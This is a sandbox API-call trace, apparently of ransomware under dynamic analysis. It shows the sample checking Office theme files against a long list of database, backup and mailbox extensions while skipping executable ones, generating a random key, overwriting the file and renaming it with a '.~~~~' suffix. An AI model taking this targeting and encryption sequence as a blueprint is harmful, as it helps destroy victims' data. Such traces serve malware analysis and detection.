	[0085.200] lstrlenW (lpString=".txt") returned 4
	[0085.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".txt") returned 0x0
	[0085.201] lstrlenW (lpString=".mdt") returned 4
	[0085.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".mdt") returned 0x0
	[0085.201] lstrlenW (lpString=".BDB") returned 4
	[0085.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".BDB") returned 0x0
	[0085.201] lstrlenW (lpString=".eql") returned 4
	[0085.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".eql") returned 0x0
	[0085.201] lstrlenW (lpString=".DBF") returned 4
	[0085.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".DBF") returned 0x0
	[0085.201] lstrlenW (lpString=".EQL") returned 4
	[0085.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".EQL") returned 0x0
	[0085.201] lstrlenW (lpString=".FDB") returned 4
	[0085.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".FDB") returned 0x0
	[0085.201] lstrlenW (lpString=".EDB") returned 4
	[0085.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".EDB") returned 0x0
	[0085.201] lstrlenW (lpString=".DACPAC") returned 7
	[0085.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".DACPAC") returned 0x0
	[0085.201] lstrlenW (lpString=".VHD") returned 4
	[0085.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".VHD") returned 0x0
	[0085.201] lstrlenW (lpString=".DBV") returned 4
	[0085.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".DBV") returned 0x0
	[0085.201] lstrlenW (lpString=".dacpac") returned 7
	[0085.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".dacpac") returned 0x0
	[0085.201] lstrlenW (lpString=".sdf") returned 4
	[0085.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".sdf") returned 0x0
	[0085.201] lstrlenW (lpString=".accdb") returned 6
	[0085.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".accdb") returned 0x0
	[0085.201] lstrlenW (lpString=".DBX") returned 4
	[0085.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".DBX") returned 0x0
	[0085.202] lstrlenW (lpString=".MDT") returned 4
	[0085.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".MDT") returned 0x0
	[0085.202] lstrlenW (lpString=".SQB") returned 4
	[0085.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".SQB") returned 0x0
	[0085.202] lstrlenW (lpString=".vhd") returned 4
	[0085.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".vhd") returned 0x0
	[0085.202] lstrlenW (lpString=".bac") returned 4
	[0085.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".bac") returned 0x0
	[0085.202] lstrlenW (lpString=".mdf") returned 4
	[0085.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".mdf") returned 0x0
	[0085.202] lstrlenW (lpString=".BAK") returned 4
	[0085.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".BAK") returned 0x0
	[0085.202] lstrlenW (lpString=".BAC") returned 4
	[0085.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".BAC") returned 0x0
	[0085.202] lstrlenW (lpString=".dbs") returned 4
	[0085.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".dbs") returned 0x0
	[0085.202] lstrlenW (lpString=".vhdx") returned 5
	[0085.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".vhdx") returned 0x0
	[0085.202] lstrlenW (lpString=".NDF") returned 4
	[0085.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".NDF") returned 0x0
	[0085.202] lstrlenW (lpString=".dat") returned 4
	[0085.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".dat") returned 0x0
	[0085.202] lstrlenW (lpString=".DBS") returned 4
	[0085.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".DBS") returned 0x0
	[0085.202] lstrlenW (lpString=".CKP") returned 4
	[0085.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".CKP") returned 0x0
	[0085.202] lstrlenW (lpString=".edb") returned 4
	[0085.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".edb") returned 0x0
	[0085.202] lstrlenW (lpString=".PST") returned 4
	[0085.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".PST") returned 0x0
	[0085.202] lstrlenW (lpString=".dbf") returned 4
	[0085.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".dbf") returned 0x0
	[0085.202] lstrlenW (lpString=".SQL") returned 4
	[0085.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".SQL") returned 0x0
	[0085.202] lstrlenW (lpString=".pst") returned 4
	[0085.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".pst") returned 0x0
	[0085.203] lstrlenW (lpString=".dbv") returned 4
	[0085.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".dbv") returned 0x0
	[0085.203] lstrlenW (lpString=".SDF") returned 4
	[0085.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".SDF") returned 0x0
	[0085.203] lstrlenW (lpString=".dtxs") returned 5
	[0085.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".dtxs") returned 0x0
	[0085.203] lstrlenW (lpString=".db3") returned 4
	[0085.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".db3") returned 0x0
	[0085.203] lstrlenW (lpString=".OST") returned 4
	[0085.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".OST") returned 0x0
	[0085.203] lstrlenW (lpString=".dbx") returned 4
	[0085.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".dbx") returned 0x0
	[0085.203] lstrlenW (lpString=".DB3") returned 4
	[0085.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".DB3") returned 0x0
	[0085.203] lstrlenW (lpString=".DAT") returned 4
	[0085.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".DAT") returned 0x0
	[0085.203] lstrlenW (lpString=".VHDX") returned 5
	[0085.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".VHDX") returned 0x0
	[0085.203] lstrlenW (lpString=".ndf") returned 4
	[0085.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".ndf") returned 0x0
	[0085.203] lstrlenW (lpString=".DB") returned 3
	[0085.203] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".DB") returned 0x0
	[0085.203] lstrlenW (lpString=".sql") returned 4
	[0085.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".sql") returned 0x0
	[0085.204] lstrlenW (lpString=".MYD") returned 4
	[0085.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".MYD") returned 0x0
	[0085.204] lstrlenW (lpString=".DBT") returned 4
	[0085.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".DBT") returned 0x0
	[0085.204] lstrlenW (lpString=".ACCDB") returned 6
	[0085.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".ACCDB") returned 0x0
	[0085.204] lstrlenW (lpString=".fdb") returned 4
	[0085.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".fdb") returned 0x0
	[0085.204] lstrlenW (lpString=".bak") returned 4
	[0085.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".bak") returned 0x0
	[0085.204] lstrlenW (lpString=".myd") returned 4
	[0085.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".myd") returned 0x0
	[0085.204] lstrlenW (lpString=".DTXS") returned 5
	[0085.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".DTXS") returned 0x0
	[0085.204] lstrlenW (lpString=".ckp") returned 4
	[0085.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".ckp") returned 0x0
	[0085.204] lstrlenW (lpString=".dbt") returned 4
	[0085.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".dbt") returned 0x0
	[0085.204] lstrlenW (lpString=".db") returned 3
	[0085.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".db") returned 0x0
	[0085.204] lstrlenW (lpString=".TXT") returned 4
	[0085.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".TXT") returned 0x0
	[0085.204] lstrlenW (lpString=".MDF") returned 4
	[0085.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".MDF") returned 0x0
	[0085.204] lstrlenW (lpString=".bdb") returned 4
	[0085.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".bdb") returned 0x0
	[0085.204] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.204] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0085.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0085.204] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0085.205] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0085.205] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0085.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0085.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0085.206] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20519579122) returned 1
	[0085.206] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9c9a2db0, dwHighDateTime=0x1d60e1e)) 
	[0085.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0085.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0085.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0085.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2b10
	[0085.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2b10 | out: hHeap=0x300000) returned 1
	[0085.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3abf48
	[0085.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.206] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abf48 | out: hHeap=0x300000) returned 1
	[0085.206] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0085.206] GetLastError () returned 0x0
	[0085.207] GetLastError () returned 0x0
	[0085.207] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0085.207] GetLastError () returned 0x0
	[0085.207] GetLastError () returned 0x0
	[0085.241] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff2f1b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.241] WriteFile (in: hFile=0x124, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0xd0e5, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x25dfec0*=0xd0e5, lpOverlapped=0x0) returned 1
	[0085.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0085.241] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.241] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.241] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.241] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.242] CloseHandle (hObject=0x124) returned 1
	[0085.244] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0085.244] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm.~~~~")) returned 1
	[0085.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0085.244] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0085.244] GetLastError () returned 0x0
	[0085.245] RtlWakeConditionVariable () returned 0x365f70
	[0085.245] GetCurrentThreadId () returned 0x9f4
	[0085.245] GetCurrentThreadId () returned 0x9f4
	[0085.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808e58
	[0085.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0085.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cf20 | out: hHeap=0x300000) returned 1
	[0085.245] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3e78
	[0085.245] lstrlenW (lpString=".scr") returned 4
	[0085.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".scr") returned 0x0
	[0085.245] lstrlenW (lpString=".cmd") returned 4
	[0085.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".cmd") returned 0x0
	[0085.245] lstrlenW (lpString=".dll") returned 4
	[0085.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".dll") returned 0x0
	[0085.245] lstrlenW (lpString=".bat") returned 4
	[0085.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".bat") returned 0x0
	[0085.245] lstrlenW (lpString=".cpl") returned 4
	[0085.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".cpl") returned 0x0
	[0085.245] lstrlenW (lpString=".sys") returned 4
	[0085.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".sys") returned 0x0
	[0085.245] lstrlenW (lpString=".msc") returned 4
	[0085.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".msc") returned 0x0
	[0085.245] lstrlenW (lpString=".com") returned 4
	[0085.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".com") returned 0x0
	[0085.245] lstrlenW (lpString=".lnk") returned 4
	[0085.245] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".lnk") returned 0x0
	[0085.245] lstrlenW (lpString=".msp") returned 4
	[0085.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".msp") returned 0x0
	[0085.246] lstrlenW (lpString=".pif") returned 4
	[0085.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".pif") returned 0x0
	[0085.246] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0085.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0085.247] lstrlenW (lpString=".sqb") returned 4
	[0085.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".sqb") returned 0x0
	[0085.247] lstrlenW (lpString=".ost") returned 4
	[0085.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".ost") returned 0x0
	[0085.247] lstrlenW (lpString=".txt") returned 4
	[0085.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".txt") returned 0x0
	[0085.247] lstrlenW (lpString=".mdt") returned 4
	[0085.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".mdt") returned 0x0
	[0085.247] lstrlenW (lpString=".BDB") returned 4
	[0085.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".BDB") returned 0x0
	[0085.247] lstrlenW (lpString=".eql") returned 4
	[0085.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".eql") returned 0x0
	[0085.247] lstrlenW (lpString=".DBF") returned 4
	[0085.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".DBF") returned 0x0
	[0085.247] lstrlenW (lpString=".EQL") returned 4
	[0085.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".EQL") returned 0x0
	[0085.247] lstrlenW (lpString=".FDB") returned 4
	[0085.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".FDB") returned 0x0
	[0085.247] lstrlenW (lpString=".EDB") returned 4
	[0085.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".EDB") returned 0x0
	[0085.248] lstrlenW (lpString=".DACPAC") returned 7
	[0085.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".DACPAC") returned 0x0
	[0085.248] lstrlenW (lpString=".VHD") returned 4
	[0085.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".VHD") returned 0x0
	[0085.248] lstrlenW (lpString=".DBV") returned 4
	[0085.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".DBV") returned 0x0
	[0085.248] lstrlenW (lpString=".dacpac") returned 7
	[0085.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".dacpac") returned 0x0
	[0085.248] lstrlenW (lpString=".sdf") returned 4
	[0085.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".sdf") returned 0x0
	[0085.248] lstrlenW (lpString=".accdb") returned 6
	[0085.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".accdb") returned 0x0
	[0085.248] lstrlenW (lpString=".DBX") returned 4
	[0085.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".DBX") returned 0x0
	[0085.248] lstrlenW (lpString=".MDT") returned 4
	[0085.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".MDT") returned 0x0
	[0085.248] lstrlenW (lpString=".SQB") returned 4
	[0085.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".SQB") returned 0x0
	[0085.248] lstrlenW (lpString=".vhd") returned 4
	[0085.248] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", lpSrch=".vhd") returned 0x0
	[0085.248] lstrlenW (lpString=".bac") returned 4
